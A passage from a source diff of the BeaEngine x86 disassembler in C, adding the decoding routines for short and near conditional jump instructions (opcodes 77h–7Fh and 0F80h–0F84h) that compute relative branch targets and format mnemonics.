GV.EIP_+=2; + FillFlags(pMyDisasm,49); +} + +/* ======================================= + * 77h + * ======================================= */ +void __bea_callspec__ jnbe_(PDISASM pMyDisasm) +{ + UInt64 MyAddress; + signed long MyNumber; + if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix; + } + if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchTaken = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; + (*pMyDisasm).Instruction.BranchType = JA; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jnbe "); + #endif + if (!Security(1, pMyDisasm)) return; + MyNumber = *((Int8*)(UIntPtr) (GV.EIP_+1)); + CalculateRelativeAddress(&MyAddress,(Int64) GV.NB_PREFIX+2+MyNumber, pMyDisasm); + if (GV.OperandSize == 16) MyAddress = MyAddress & 0xffff; + if (MyAddress >= W64LIT (0x100000000)) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X",(Int64) MyAddress); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X",(Int64) MyAddress); + #endif + } + (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE+RELATIVE_; + (*pMyDisasm).Argument1.ArgSize = GV.OperandSize; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Instruction.AddrValue = MyAddress; + GV.EIP_+=2; + FillFlags(pMyDisasm,49); +} + +/* ======================================= + * 78h + * ======================================= */ +void __bea_callspec__ js_(PDISASM pMyDisasm) +{ + UInt64 MyAddress; + signed long MyNumber; + if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix; + } + if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchTaken = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; + (*pMyDisasm).Instruction.BranchType = JS; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "js "); + #endif + if (!Security(1, pMyDisasm)) return; + MyNumber = *((Int8*)(UIntPtr) (GV.EIP_+1)); + CalculateRelativeAddress(&MyAddress,(Int64) GV.NB_PREFIX+2+MyNumber, pMyDisasm); + if (GV.OperandSize == 16) MyAddress = MyAddress & 0xffff; + if (MyAddress >= W64LIT (0x100000000)) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X",(Int64) MyAddress); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X",(Int64) MyAddress); + #endif + } + (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE+RELATIVE_; + (*pMyDisasm).Argument1.ArgSize = GV.OperandSize; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Instruction.AddrValue = MyAddress; + GV.EIP_+=2; + FillFlags(pMyDisasm,49); +} + +/* ======================================= + * 79h + * ======================================= */ +void __bea_callspec__ jns_(PDISASM pMyDisasm) +{ + UInt64 MyAddress; + signed long MyNumber; + if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix; + } + if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchTaken = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; + (*pMyDisasm).Instruction.BranchType = JNS; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jns "); + #endif + if (!Security(1, pMyDisasm)) return; + MyNumber = *((Int8*)(UIntPtr) (GV.EIP_+1)); + CalculateRelativeAddress(&MyAddress,(Int64) GV.NB_PREFIX+2+MyNumber, pMyDisasm); + if (GV.OperandSize == 16) MyAddress = MyAddress & 0xffff; + if (MyAddress >= W64LIT (0x100000000)) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X",(Int64) MyAddress); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X",(Int64) MyAddress); + #endif + } + (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE+RELATIVE_; + (*pMyDisasm).Argument1.ArgSize = GV.OperandSize; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Instruction.AddrValue = MyAddress; + GV.EIP_+=2; + FillFlags(pMyDisasm,49); +} + +/* ======================================= + * 7ah + * ======================================= */ +void __bea_callspec__ jp_(PDISASM pMyDisasm) +{ + UInt64 MyAddress; + signed long MyNumber; + if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix; + } + if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchTaken = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; + (*pMyDisasm).Instruction.BranchType = JP; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jp "); + #endif + if (!Security(1, pMyDisasm)) return; + MyNumber = *((Int8*)(UIntPtr) (GV.EIP_+1)); + CalculateRelativeAddress(&MyAddress,(Int64) GV.NB_PREFIX+2+MyNumber, pMyDisasm); + if (GV.OperandSize == 16) MyAddress = MyAddress & 0xffff; + if (MyAddress >= W64LIT (0x100000000)) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X",(Int64) MyAddress); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X",(Int64) MyAddress); + #endif + } + (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE+RELATIVE_; + (*pMyDisasm).Argument1.ArgSize = GV.OperandSize; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Instruction.AddrValue = MyAddress; + GV.EIP_+=2; + FillFlags(pMyDisasm,49); +} + +/* ======================================= + * 7bh + * ======================================= */ +void __bea_callspec__ jnp_(PDISASM pMyDisasm) +{ + UInt64 MyAddress; + signed long MyNumber; + if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix; + } + if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchTaken = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; + (*pMyDisasm).Instruction.BranchType = JNP; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jnp "); + #endif + if (!Security(1, pMyDisasm)) return; + MyNumber = *((Int8*)(UIntPtr) (GV.EIP_+1)); + CalculateRelativeAddress(&MyAddress,(Int64) GV.NB_PREFIX+2+MyNumber, pMyDisasm); + if (GV.OperandSize == 16) MyAddress = MyAddress & 0xffff; + if (MyAddress >= W64LIT (0x100000000)) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X",(Int64) MyAddress); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X",(Int64) MyAddress); + #endif + } + (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE+RELATIVE_; + (*pMyDisasm).Argument1.ArgSize = GV.OperandSize; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Instruction.AddrValue = MyAddress; + GV.EIP_+=2; + FillFlags(pMyDisasm,49); +} + +/* ======================================= + * 7ch + * ======================================= */ +void __bea_callspec__ jl_(PDISASM pMyDisasm) +{ + UInt64 MyAddress; + signed long MyNumber; + if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix; + } + if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchTaken = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; + (*pMyDisasm).Instruction.BranchType = JL; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jl "); + #endif + if (!Security(1, pMyDisasm)) return; + MyNumber = *((Int8*)(UIntPtr) (GV.EIP_+1)); + CalculateRelativeAddress(&MyAddress,(Int64) GV.NB_PREFIX+2+MyNumber, pMyDisasm); + if (GV.OperandSize == 16) MyAddress = MyAddress & 0xffff; + if (MyAddress >= W64LIT (0x100000000)) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X",(Int64) MyAddress); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X",(Int64) MyAddress); + #endif + } + (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE+RELATIVE_; + (*pMyDisasm).Argument1.ArgSize = GV.OperandSize; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Instruction.AddrValue = MyAddress; + GV.EIP_+=2; + FillFlags(pMyDisasm,49); +} + +/* ======================================= + * 7dh + * ======================================= */ +void __bea_callspec__ jnl_(PDISASM pMyDisasm) +{ + UInt64 MyAddress; + signed long MyNumber; + if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix; + } + if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchTaken = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; + (*pMyDisasm).Instruction.BranchType = JNL; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jnl "); + #endif + if (!Security(1, pMyDisasm)) return; + MyNumber = *((Int8*)(UIntPtr) (GV.EIP_+1)); + CalculateRelativeAddress(&MyAddress,(Int64) GV.NB_PREFIX+2+MyNumber, pMyDisasm); + if (GV.OperandSize == 16) MyAddress = MyAddress & 0xffff; + if (MyAddress >= W64LIT (0x100000000)) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X",(Int64) MyAddress); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X",(Int64) MyAddress); + #endif + } + (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE+RELATIVE_; + (*pMyDisasm).Argument1.ArgSize = GV.OperandSize; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Instruction.AddrValue = MyAddress; + GV.EIP_+=2; + FillFlags(pMyDisasm,49); +} + +/* ======================================= + * 7eh + * ======================================= */ +void __bea_callspec__ jle_(PDISASM pMyDisasm) +{ + UInt64 MyAddress; + signed long MyNumber; + if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix; + } + if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchTaken = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; + (*pMyDisasm).Instruction.BranchType = JNG; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jle "); + #endif + if (!Security(1, pMyDisasm)) return; + MyNumber = *((Int8*)(UIntPtr) (GV.EIP_+1)); + CalculateRelativeAddress(&MyAddress,(Int64) GV.NB_PREFIX+2+MyNumber, pMyDisasm); + if (GV.OperandSize == 16) MyAddress = MyAddress & 0xffff; + if (MyAddress >= W64LIT (0x100000000)) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X",(Int64) MyAddress); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X",(Int64) MyAddress); + #endif + } + (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE+RELATIVE_; + (*pMyDisasm).Argument1.ArgSize = GV.OperandSize; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Instruction.AddrValue = MyAddress; + GV.EIP_+=2; + FillFlags(pMyDisasm,49); +} + +/* ======================================= + * 7fh + * ======================================= */ +void __bea_callspec__ jnle_(PDISASM pMyDisasm) +{ + UInt64 MyAddress; + signed long MyNumber; + if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix; + } + if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchTaken = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; + (*pMyDisasm).Instruction.BranchType = JG; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jnle "); + #endif + if (!Security(1, pMyDisasm)) return; + MyNumber = *((Int8*)(UIntPtr) (GV.EIP_+1)); + CalculateRelativeAddress(&MyAddress,(Int64) GV.NB_PREFIX+2+MyNumber, pMyDisasm); + if (GV.OperandSize == 16) MyAddress = MyAddress & 0xffff; + if (MyAddress >= W64LIT (0x100000000)) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X",(Int64) MyAddress); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X",(Int64) MyAddress); + #endif + } + (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE+RELATIVE_; + (*pMyDisasm).Argument1.ArgSize = GV.OperandSize; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Instruction.AddrValue = MyAddress; + GV.EIP_+=2; + FillFlags(pMyDisasm,49); +} + + +/* ======================================= + * 0f80h + * ======================================= */ +void __bea_callspec__ jo_near(PDISASM pMyDisasm) +{ + UInt64 MyAddress; + long MyNumber; + if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix; + } + if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchTaken = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; + (*pMyDisasm).Instruction.BranchType = JO; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jo "); + #endif + if (GV.OperandSize >= 32) { + if (!Security(5, pMyDisasm)) return; + MyNumber = *((Int32*)(UIntPtr) (GV.EIP_+1)); + CalculateRelativeAddress(&MyAddress,(Int64) GV.NB_PREFIX+6+MyNumber, pMyDisasm); + if (MyAddress >= W64LIT (0x100000000)) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X",(Int64) MyAddress); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X",(Int64) MyAddress); + #endif + } + (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE+RELATIVE_; + (*pMyDisasm).Argument1.ArgSize = GV.OperandSize; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Instruction.AddrValue = MyAddress; + GV.EIP_+=5; + FillFlags(pMyDisasm,49); + } + else { + if (!Security(3, pMyDisasm)) return; + MyNumber = *((Int16*)(UIntPtr) (GV.EIP_+1)); + CalculateRelativeAddress(&MyAddress,(Int64) GV.NB_PREFIX+4+MyNumber, pMyDisasm); + MyAddress = MyAddress & 0xffff; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.4X",(Int64) MyAddress); + #endif + (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE+RELATIVE_; + (*pMyDisasm).Argument1.ArgSize = GV.OperandSize; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Instruction.AddrValue = MyAddress; + GV.EIP_+=3; + FillFlags(pMyDisasm,49); + } +} + + +/* ======================================= + * 0f81h + * ======================================= */ +void __bea_callspec__ jno_near(PDISASM pMyDisasm) +{ + UInt64 MyAddress; + long MyNumber; + if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix; + } + if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchTaken = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; + (*pMyDisasm).Instruction.BranchType = JNO; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jno "); + #endif + if (GV.OperandSize >= 32) { + if (!Security(5, pMyDisasm)) return; + MyNumber = *((Int32*)(UIntPtr) (GV.EIP_+1)); + CalculateRelativeAddress(&MyAddress,(Int64) GV.NB_PREFIX+6+MyNumber, pMyDisasm); + if (MyAddress >= W64LIT (0x100000000)) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X",(Int64) MyAddress); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X",(Int64) MyAddress); + #endif + } + (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE+RELATIVE_; + (*pMyDisasm).Argument1.ArgSize = GV.OperandSize; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Instruction.AddrValue = MyAddress; + GV.EIP_+=5; + FillFlags(pMyDisasm,49); + } + else { + if (!Security(3, pMyDisasm)) return; + MyNumber = *((Int16*)(UIntPtr) (GV.EIP_+1)); + CalculateRelativeAddress(&MyAddress,(Int64) GV.NB_PREFIX+4+MyNumber, pMyDisasm); + MyAddress = MyAddress & 0xffff; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.4X",(Int64) MyAddress); + #endif + (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE+RELATIVE_; + (*pMyDisasm).Argument1.ArgSize = GV.OperandSize; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Instruction.AddrValue = MyAddress; + GV.EIP_+=3; + FillFlags(pMyDisasm,49); + } +} + +/* ======================================= + * 0f82h + * ======================================= */ +void __bea_callspec__ jc_near(PDISASM pMyDisasm) +{ + UInt64 MyAddress; + long MyNumber; + if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix; + } + if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchTaken = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; + (*pMyDisasm).Instruction.BranchType = JC; + (*pMyDisasm).Argument1.ArgSize = GV.OperandSize; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jc "); + #endif + if (GV.OperandSize >= 32) { + if (!Security(5, pMyDisasm)) return; + MyNumber = *((Int32*)(UIntPtr) (GV.EIP_+1)); + CalculateRelativeAddress(&MyAddress,(Int64) GV.NB_PREFIX+6+MyNumber, pMyDisasm); + if (MyAddress >= W64LIT (0x100000000)) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X",(Int64) MyAddress); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X",(Int64) MyAddress); + #endif + } + (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE+RELATIVE_; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Instruction.AddrValue = MyAddress; + GV.EIP_+=5; + FillFlags(pMyDisasm,49); + } + else { + if (!Security(3, pMyDisasm)) return; + MyNumber = *((Int16*)(UIntPtr) (GV.EIP_+1)); + CalculateRelativeAddress(&MyAddress,(Int64) GV.NB_PREFIX+4+MyNumber, pMyDisasm); + MyAddress = MyAddress & 0xffff; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.4X",(Int64) MyAddress); + #endif + (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE+RELATIVE_; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Instruction.AddrValue = MyAddress; + GV.EIP_+=3; + FillFlags(pMyDisasm,49); + } +} + +/* ======================================= + * 0f83h + * ======================================= */ +void __bea_callspec__ jnc_near(PDISASM pMyDisasm) +{ + UInt64 MyAddress; + long MyNumber; + if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix; + } + if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchTaken = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; + (*pMyDisasm).Instruction.BranchType = JNC; + (*pMyDisasm).Argument1.ArgSize = GV.OperandSize; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jnc "); + #endif + if (GV.OperandSize >= 32) { + if (!Security(5, pMyDisasm)) return; + MyNumber = *((Int32*)(UIntPtr) (GV.EIP_+1)); + CalculateRelativeAddress(&MyAddress,(Int64) GV.NB_PREFIX+6+MyNumber, pMyDisasm); + if (MyAddress >= W64LIT (0x100000000)) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X",(Int64) MyAddress); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X",(Int64) MyAddress); + #endif + } + (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE+RELATIVE_; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Instruction.AddrValue = MyAddress; + GV.EIP_+=5; + FillFlags(pMyDisasm,49); + } + else { + if (!Security(3, pMyDisasm)) return; + MyNumber = *((Int16*)(UIntPtr) (GV.EIP_+1)); + CalculateRelativeAddress(&MyAddress,(Int64) GV.NB_PREFIX+4+MyNumber, pMyDisasm); + MyAddress = MyAddress & 0xffff; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.4X",(Int64) MyAddress); + #endif + (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE+RELATIVE_; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Instruction.AddrValue = MyAddress; + GV.EIP_+=3; + FillFlags(pMyDisasm,49); + } +} + +/* ======================================= + * 0f84h + * ======================================= */ +void __bea_callspec__ je_near(PDISASM pMyDisasm) +{ + UInt64 MyAddress; + long MyNumber; + if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix; + } + if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchTaken = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; + (*pMyDisasm).Instruction.BranchType = JE; + (*pMyDisasm).Argument1.ArgSize = GV.OperandSize; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "je "); + #endif + if (GV.OperandSize >= 32) { + if (!Security(5, pMyDisasm)) return; + MyNumber = *((Int32*)(UIntPtr) (GV.EIP_+1)); + CalculateRelativeAddress(&MyAddress,(Int64) GV.NB_PREFIX+6+MyNumber, pMyDisasm); + if (MyAddress >= W64LIT (0x100000000)) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X",(Int64) MyAddress); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X",(Int64) MyAddress); + #endif + } + (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE+RELATIVE_; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Instruction.AddrValue = MyAddress; + GV.EIP_+=5; + FillFlags(pMyDisasm,49); + } + else { + if (!Security(3, pMyDisasm)) return; + MyNumber = *((Int16*)(UIntPtr) (GV.EIP_+1)); + CalculateRelativeAddress(&MyAddress,(Int64) GV.NB_PREFIX+4+MyNumber, pMyDisasm); + MyAddress = MyAddress & 0xffff; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.4X",(Int64) MyAddress); + #endif + (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE+RELATIVE_; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Instruction.AddrValue = MyAddress; + GV.EIP_+=3; + FillFlags(pMyDisasm,49); + } +} + +/* 